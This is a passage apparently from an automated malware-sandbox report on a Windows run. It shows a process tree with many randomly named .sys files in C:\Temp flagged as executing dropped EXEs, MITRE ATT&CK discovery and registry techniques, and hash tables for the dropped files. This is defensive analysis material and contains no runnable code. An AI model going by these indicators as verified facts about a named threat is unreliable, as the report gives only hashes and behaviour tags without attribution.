      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5344,i,8751335171120151036,10775573421504326526,262144 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6924 /prefetch:10
      4⤵
      PID:1028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6172,i,15176080226375031970,15484719497568999091,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:14
      4⤵
      PID:5996

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5312

C:\Temp\ywrojgbztrljebwt.sys
C:\Temp\ywrojgbztrljebwt.sys
1⤵
- Executes dropped EXE
PID:3924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4252

C:\Temp\wqojgbztqo.sys
C:\Temp\wqojgbztqo.sys
1⤵
- Executes dropped EXE
PID:2096

C:\Temp\daytqljdbv.sys
C:\Temp\daytqljdbv.sys
1⤵
- Executes dropped EXE
PID:5820

C:\Temp\qkidavtnlf.sys
C:\Temp\qkidavtnlf.sys
1⤵
- Executes dropped EXE
PID:4224

C:\Temp\cavsmkicax.sys
C:\Temp\cavsmkicax.sys
1⤵
- Executes dropped EXE
PID:1288

C:\Temp\causnkfdxu.sys
C:\Temp\causnkfdxu.sys
1⤵
- Executes dropped EXE
PID:4088

C:\Temp\spjhfzxupm.sys
C:\Temp\spjhfzxupm.sys
1⤵
- Executes dropped EXE
PID:2960

C:\Temp\mjhecwuomh.sys
C:\Temp\mjhecwuomh.sys
1⤵
- Executes dropped EXE
PID:3372

C:\Temp\jgeywrojhe.sys
C:\Temp\jgeywrojhe.sys
1⤵
- Executes dropped EXE
PID:3740

C:\Temp\jgbztrojge.sys
C:\Temp\jgbztrojge.sys
1⤵
- Executes dropped EXE
PID:4432

C:\Temp\jdbvtnlgdb.sys
C:\Temp\jdbvtnlgdb.sys
1⤵
- Executes dropped EXE
PID:6080

C:\Temp\bvtnlfdyvq.sys
C:\Temp\bvtnlfdyvq.sys
1⤵
PID:4768

C:\Temp\avsnlfdxvp.sys
C:\Temp\avsnlfdxvp.sys
1⤵
PID:5672

C:\Temp\vpnkfdxvsn.sys
C:\Temp\vpnkfdxvsn.sys
1⤵
PID:5848

C:\Temp\ausmkecxus.sys
C:\Temp\ausmkecxus.sys
1⤵
PID:4544

C:\Temp\zxupmhezwu.sys
C:\Temp\zxupmhezwu.sys
1⤵
PID:3504

C:\Temp\bzwuomjebz.sys
C:\Temp\bzwuomjebz.sys
1⤵
PID:5508

C:\Temp\ebwurmjebw.sys
C:\Temp\ebwurmjebw.sys
1⤵
PID:1212

C:\Temp\tqligeywto.sys
C:\Temp\tqligeywto.sys
1⤵
PID:6120

C:\Temp\sqlidavsql.sys
C:\Temp\sqlidavsql.sys
1⤵
PID:4296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

axspkicxvp.exe

Path C:\Temp\axspkicxvp.exe
Size 376KB
SHA256 1fcf7fe8a16436c2646981fda2d8d0f337a6e12dc78a4bd736474042934880d6
MD5 22115bca6736d29ca73d6c47e42fecf5
SHA1 1f738b621e82393fec6ebfbb28d8d20975e08a44
SHA512 968cc6a149e004b76696be1bfba1229bb54b4b33e0199332731d7421454f3050c6bc0662a269a2da7f326f892f2faf4590b69142e159682770a50620e7e3408d
SSDEEP 3072:uFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:uFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T159847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

causnkfdxu.sys

Path C:\Temp\causnkfdxu.sys
Size 293KB
SHA256 563ddbac212f67d964a6988146e85c0b5c202df614fd4d6354dca15ba92148d0
MD5 49ff104d073b11fd51ccdd3eb4b0890d
SHA1 111625da715980791e5f09d1ae4ada6d162d718b
SHA512 78690a646a7e638b5fdbaeb4b30db9694b0987fb9b1fffb724ecdbe0653a545a7880c16307928464899831788b5683dd10227090dd26c5c2e6424b5415acd897
SSDEEP 3072:5tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:5IJjiJcbI03GBc3ucY5DCSj
TLSH
T1E6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cavsmkicax.sys

Path C:\Temp\cavsmkicax.sys
Size 293KB
SHA256 2a74e9059680d8f76e0c28873a6266f9f262401f482b01ef0fafb3333248478c
MD5 d7fa5cbf202edfbafe5e7a6344fec711
SHA1 26feca3a3ec95320503af1fa01e56d62c72e0130
SHA512 a5a1213fc815e6abbf2115cd2d3c2999e906dc96c30e135ace50c87158a3bd52c57665460d7a271e17662a205118b26ab49d3e830113492be20eec1a8fb0bbbc
SSDEEP 3072:AtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:AIJjiJcbI03GBc3ucY5DCSj
TLSH
T1B7545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

daytqljdbv.sys

Path C:\Temp\daytqljdbv.sys
Size 293KB
SHA256 7bee84b3a3a88c9b42feb6d4d3f2ffc4211d1ee0ebfa46d935e271d21324a3e0
MD5 157380a7f1cbfabcb2a32d35b518e19f
SHA1 1b3b329aa18f04a56335aed82d81382f5b17b35e
SHA512 a366ee5f8acd8f127818d2d44ee0038a66d0c79fa3a87a49a32b3bae8305007e741c2f4e74d766b6cecde10d87cdeef85f234f592cc8251f74bce31f4d9c7b15
SSDEEP 3072:5tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:5IJjiJcbI03GBc3ucY5DCSj
TLSH
T1E0545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_axspkicxvp.exe

Path C:\Temp\i_axspkicxvp.exe
Size 376KB
SHA256 03fcb95e640d8feaabff959ecbb8201eba8199cb78897e855e3e17a563b29452
MD5 ad366a502f7afbffda27c72b39488200
SHA1 52ed2f64f36d365d13fbbf01bdc70566e8c87e17
SHA512 d850da69eea056fc4e90fadb310cf95aaafa591587046b0d5ef090aa2f8eb8d7996b95ca7dc3f67fbc54401d7625f8cff0418b9ded63f756781fc67f56649efb
SSDEEP 3072:6FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:6FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1BD847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jdbytqlidb.exe

Path C:\Temp\i_jdbytqlidb.exe
Size 376KB
SHA256 c28fb44031a9854833a8bf63f509ae231c1ab1130049088abfa1829919f02e71
MD5 3253f2973c21a2b50d792d487c8edbea
SHA1 7f97357a643b83fcd9f736aacba4dbf79c469163
SHA512 71d7c45c696c5483376e1fd4fe202c6b0da97a4c018aa2a491f5f590d8423af095696ddfc518ce458a4b0ce3782f6b39de0480fdf50ceff7b7a70c8a7ae102f9
SSDEEP 3072:6FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:6FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T172847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_kifdxvqnif.exe

Path C:\Temp\i_kifdxvqnif.exe
Size 376KB
SHA256 bc683fff163142aee0be539cfbd6a8ee5dbb7a45d20a15b2e7c154658c73382d
MD5 3bb7e90ac0df8d30789e955d4d41073b
SHA1 23f29ecd458155b76785ae5647c4a53ec037bac6
SHA512 79007767d4f32f96526f245be71d866971746d75fd23882aba544c3352097b5dc4e533434f34542982b3f5701ac7b3e1be6cf34f6332887efb376b368032ac0e
SSDEEP 3072:vFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:vFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T196847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_usmkecwupm.exe

Path C:\Temp\i_usmkecwupm.exe
Size 376KB
SHA256 36b96d5e1ce3d202ac0ab96f5ab91b2be3552b681a67f4ae65f22a86cdeaf60f
MD5 ee9da923a9e799ccf4db271b8587c31e
SHA1 20e9528d5728ecaeeba507e1fea72dca460105fc
SHA512 921e974163832e6a00c109617e9e982b01a6cb945783db0ab7c1e183dcad74fcfbeb7a29603153beb4ce4c631619275a8000ca35b3cccdbec28e6fe56c302d05
SSDEEP 3072:zFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:zFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1C0847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ysqoigdvqo.exe

Path C:\Temp\i_ysqoigdvqo.exe
Size 376KB
SHA256 5f25ab482dfd6d595469b63ded4ec6d8774740c98cb020a644f5d4f3dd8d2b85
MD5 565ef72a2fb65f25154e894343a6842b
SHA1 ae918ab26a367f400486d9fd4eb3a3eaa143f8fe
SHA512 a2e84ac5ab2aedca955ef16d84b60eabb2dc807d754fe1c10d633ca87f5c77045a94d4c73375ae1731145332db2337a45d4110b67794d2505c275a6767a659fb
SSDEEP 3072:rFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:rFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AB847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ywrojgbywq.exe

Path C:\Temp\i_ywrojgbywq.exe
Size 376KB
SHA256 a84aeac38cb2e9c0da88e616aef4963e6fc9cb61cae8491498bedbab9d39ace4
MD5 04d55b30488aa71ede1bc90f3dd3302e
SHA1 79b85780929812f6a9b296ed074c2806b6f34584
SHA512 ed4aabbf523694bbd9b0ed4cbece13f810812c33616b6a787d6262407e46b9f279607e31efc72c219999cb09c142354df4ebd6aba6b68238a0e32c78c2e493e8
SSDEEP 3072:FFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:FFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1FF847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbytqlidb.exe

Path C:\Temp\jdbytqlidb.exe
Size 376KB
SHA256 bb957f4e51e87210952982b7459486787995f8ef9447e1f5f6f52524364f0de6
MD5 5ee2235a4dc7d065bf77f78a2cfa91d0
SHA1 7ecc2a06a6a1e65a06c70b92e3d5f72e42b898fb
SHA512 33d19f6652ff8c84b6a7d5a24cd4df17d1caf050b6a4155ab77adfa888bc2a2489fc2f525574ddb267e13ac14672ff436e5cc797a4f4bdf32238541444631014
SSDEEP 3072:9FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:9FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1BF847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kifdxvqnif.exe

Path C:\Temp\kifdxvqnif.exe
Size 376KB
SHA256 cc38416e73cce6d96739ff538ee83ad3544a8aff4276e1d951f94e6e5954c1f6
MD5 c36ef15376071d4681784b17088f0009
SHA1 016967979e2a0a9bd46cf8d3d79d0a7ebeacd6a7
SHA512 5360f3d9b96fc0fbc20b7485189675787fe7a834b5efbece58cde6e4db0bf6df3037922579f0189fc987cc24a4dd6bb76a95b9ef92ecfe84ca7a6210a94e3211
SSDEEP 3072:wFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:wFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T163847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkidavtnlf.sys

Path C:\Temp\qkidavtnlf.sys
Size 293KB
SHA256 7abce8c68009d8f0026b364bcba3e7fe2cb3dbedddc9065b8ee364258dadb399
MD5 9e76c28d5b51c8e005cbb09882ed8fc0
SHA1 d6742a852b3f59b1855a2f2e5e6fb16fe119ae28
SHA512 92e4b0a119acd74ca91a2f1a7e87f408f81b50800cdb4940dac121742b2e33e847bba40dda88b5ae969ac563453e3278aac5139e9fa8311f0b23dff1a8bead91
SSDEEP 3072:WtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:WIJjiJcbI03GBc3ucY5DCSj
TLSH
T1F6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

usmkecwupm.exe

Path C:\Temp\usmkecwupm.exe
Size 376KB
SHA256 90d4e999224eb7a49fcd203fde306f77386dabae4a53c500aa86552f804da182
MD5 49b3a0bff8a1e652b23ac931ce89d9ac
SHA1 16ad8ca64b6e089fa542b380cc124b38f3d5b0b0
SHA512 1cacf9a05ca882607156c23b09eefa09d2e5ba955061453ea3d4a188730569b71f39e4b669dd36aea3904e4f04a68765b8debbe50d82ed24d892170657f1f2d4
SSDEEP 3072:PFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:PFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19E847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wqojgbztqo.sys

Path C:\Temp\wqojgbztqo.sys
Size 293KB
SHA256 b64559383467f47f6a7a527266c9a9e9873f7108209e4764a61348cf63249e8b
MD5 9e280ac10d98dfe6b6af14c2f10a3f56
SHA1 3dd396fcca825d8d593cb86146d23c15abc325df
SHA512 345195b019efa8fa16523ae19199bdf7f8f8416c4dd06f7c9e04b3bc84ffe75010325733bcc27f27626d33997410cb669cea284352bfd09019b06fd523e3469b
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T1BD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysqoigdvqo.exe

Path C:\Temp\ysqoigdvqo.exe
Size 376KB
SHA256 edbf8fc24f88da91f1b7a029a840d395e5db7ba55fae2e59c540f17acf567772
MD5 851ac42385033ba273f12c1c5882b423
SHA1 70b2925a41b2f9bc84910803f177e2e199e7eea6
SHA512 1a1a62ff77de2b8d8e3d9f214641d568e720144036861418577316e5c399b60b0caa77a327232edf75e7e1d3eb996867c6d107debe402de3a301b3db815b2dcc
SSDEEP 3072:AFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:AFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19C847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywrojgbywq.exe

Path C:\Temp\ywrojgbywq.exe
Size 376KB
SHA256 52bdf6aba309f8379e36c7dc982fffe17809af522a4dd1b31d787854135f469c
MD5 b7abe23a98796279da9f0486a1576532
SHA1 a19e972e89aa6dc095d06070e15f61d82e9dcffd
SHA512 d28bf33df63caa1db1876cf66263b33a0722378e4f7d8f27e8b7276fad3f3f1e0d897ad575274b013ea3a604ff329fd511fd550c4bf149c1b4bd1ba530d8ad09
SSDEEP 3072:QFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:QFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T113847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywrojgbztrljebwt.exe

Path C:\Temp\ywrojgbztrljebwt.exe
Size 376KB
SHA256 212bd1b8cf9502ac4b6a9248713114366f0fd85587f8bc3b63d8d2adec0dd20d
MD5 cff0c789a3463aff84d429db90f8ded8
SHA1 25b4aa7d6bb3784f3532c17fbbaabc216bcc957a
SHA512 3a4f0a3840237bb5433342bb2e6914a343c2c65d25b380e4fc480bc552f3ce6649dd29bda258e9eda095ffe1431cfc603854f5dff5b1b1877d05082ea3c06d1e
SSDEEP 3072:bFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:bFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T179847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywrojgbztrljebwt.sys

Path C:\Temp\ywrojgbztrljebwt.sys
Size 293KB
SHA256 ce6ccb338ab0b1506d8f5e52dc6c0c89c6a8f3bb6cc963808d329d4e306a4fca
MD5 e6f2cdfcb45bcc4755ad65d0cca43396
SHA1 b384aadf0f46fed707e348fb0058bbe087b2c0ce
SHA512 df3659c3ae0a1abd9c43540f33257df1fcc56ab631a7d46f2dd25a8a54b7b216a6d3e9aee3ac0787954689da1be406f3d00b4dd55472c4cee2894bfd2f1f5f95
SSDEEP 3072:2tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:2IJjiJcbI03GBc3ucY5DCSj
TLSH
T1CA545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1f3bc43c50f7d0fa02f98500baf5d78052a5560603459a9325b17de989d121f4
MD5 46a6445fd2c83830bb8c6e03f85bafc0
SHA1 46b07e35efbd47692fdc81ef0e82e2964da2831b
SHA512 800f82b05756fd6fab3fe29924147f0b86afeec21da661e646b431c6ca03903eb45bb09803f5cdaf3d2d1bb16f95d0f2e53a1f9ddde57505b0f3e1580c384ed1
TLSH
T188D02B1063208C04D441F13214D23311B1010833540C96440150E1384CB634206728CD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f8dff5315a0bd3856381f405c1a16257337fd6ff2d8043dd8bea22404cd35129
MD5 5e53a2cd139f0cce4f8ceab3e015f7da
SHA1 1bd884dbaaa352a724c53bfb8f4bfad2623c93f5
SHA512 27cc4cb62f9aa4af6b521efd824b001f3b689bae2ffe57263da18e2bb22d0b13ba656141d7e6ea1d1c202d5f461a44243a00d604f78bd5b04fe6b8512e260ac1
TLSH
T178D02B1463108D04D441F13214D13311B1110833A80C96440050E1284CB634206738DD
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 295084f2a3523f06b334b08806d44474ba95c490f9202c6762f68b1ef88db7db
MD5 4d4b6c20ba1adbddd0debe45a83fa63f
SHA1 5115bbc9252200376cd81b7f9cd81c1682791c9d
SHA512 76fb0562dfe17bdf12f4237b2cd18b11ad330520a535210d03b08e8ea2e2c68f57e8d89d8f345012c8928213109fa360879d6d6e6bf6f1a1722cea168c5ec92a
TLSH
T16461E7A3936326D1E76B6472E3F1980937F8A45B81AB2E0343D25D38180AF4CD5DF667
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59afde.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59afde.TMP
Size 3KB
SHA256 1c1df37f274ff0ac20f4c265de9a17e40f560298ceed9f195538a77dc1a453db
MD5 962e3f277ede2555814c91684ed87ee0
SHA1 091d317f0fd9519924dcb79e4cd1ec4bd53ac348
SHA512 836cfe5f9c480a7e29b75079675e153c3f2c74c631b74d27cdf0f9e1fdfe42440e0fa2636ec8051deac5076755c71edb738bf9265d2efeaabe57acc935b52d24
TLSH
T16E61E8A3836725D1E76B6472E3F0980937F8A44B81A72E0303D25D74180AF4CD5DF267
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 1cce9bf5f0566eb291a51b97d4b430e9e0238b3c22cb38ea0d26d010df1c2e63
MD5 7cc38c45d16b6759d1c80da01d01cc76
SHA1 45472a6996fe61dd5583aeacfa009b3e410483d7
SHA512 15709f9dbf790cb809a100c0648a229604471adc3c1e119c73f630306ead5eb3d61e7ad3188ef7eba5265c626d22865d59efe52496367095930dc0b1aea1e694
TLSH
T17841B0F783F4857E9A1196F0AA186E1FCE2D0515432C7C9A89E0AF2B93E3471E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 230dd235fcdaa0acedf7c6534feafd2f3dcb54b768c022905738731efd0bf01e
MD5 fefeaaa284083b19ac09f427c5adb6c5
SHA1 7a54dd54c17ab6c7ee5944736f6b1904f49690aa
SHA512 82da43fde06747b575a3246b81bf80bc4fe2dbf58a36307672044c3363b99ed82350514e7ce6159fb3fe72afe8abe738422a3e9a0c123644b1ef039520782e78
SSDEEP 192:sxR4R0CV/fu+s95VnZO0BGtzoD8p9h/g6+WNCla/YC03SuOhGqIgV+J:sxR4FV/fVs95VZOjz/5D/K2RY
TLSH
T1B042C8156E38A93B8CC7E21DBB65BF53D2F95032A1D41E48AAFC8A1C14E66DD121341B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 34e7f619fef83cd2353ca134214eeb443f8ee7b09423d1981a3ff5ac5ce9453d
MD5 8c294b639ebdde8e99188951b832c7a7
SHA1 b67d971c865c2b03fb341a92a806b6d9a5951871
SHA512 367ccf4846da410faa291b6a89ea4d9a5cf539cabfdfc4f92583b76b6f30d625115346bfc4d801bfab37f3bbd18f52a1f36085cfad8fa21136c94f7fb111147b
SSDEEP 192:sxRrR0CV/fu+sP58nZO0BGtzoD8p9h/g6+WNCla/YC00muOhGqIgDs+J:sxRrFV/fVsP58ZOjz/5D/KjRD
TLSH
T1BC42C815AE38AD3B8CC7E21DBB55BF53D3F95032A1951E48AAFC8A1C10E76CD121381B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 8f10f212e2724361a2927f304362cdef5f1e68d02c1eb5e32a68aa410df22568
MD5 f935321273c00fae68343e349f87ba58
SHA1 97f06529fff65c1e03f7d9287ef6b3f729e374c6
SHA512 38796028bb615f71824ec8ac3ea10808ca2b72aaed189a86c6b4874aa188d1b7ba4df7ea5faade337b604ce6b70f80c54f14d3d883e27e1caa87d5720a79a019
SSDEEP 192:sxRrR0CV/fu+sP5VnZO0BGtzoD8p9h/g6+WNCla/YC03SuOhGqIgD2+J:sxRrFV/fVsP5VZOjz/5D/K2Rd
TLSH
T1AF42D8156E38AD3B8CC7E21DBB55BF53D3F95032A1D41E48AAFC8A1C14E66DD221381B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 6c80062dbfa052a9d684dded335c4051a5b92a4a1ab36bd162705f510ef5f9b4
MD5 9b288b31025fbe683d71d918751bad03
SHA1 36587c76341be8676b65d90fade699ca81c41742
SHA512 f444798a8f3d7ea75ddc7300b1edc4031f3c0373de5892c4d07da8bf4b724a25d1cc5e6a4c21149eec77f58277192c57401da38d9c26b56a29a6b7e0c4b27283
SSDEEP 768:jC+vmN7pLuL7JQWgQ+f4+8F1+UoAYDCx9Tuqh0VfUC9xbog/OVkN0QqccroZD/:jC+vm7E7JQWgQ+f4+u1janN0VcHt/
TLSH
T156D2EB7B640DCB7F4F804ADDEC197A9F6DA802CB9698CD4047FA941C02C6BEB52164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7684705c-ff46-4b36-a2fd-04402479e487.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\7684705c-ff46-4b36-a2fd-04402479e487.tmp
Size 22KB
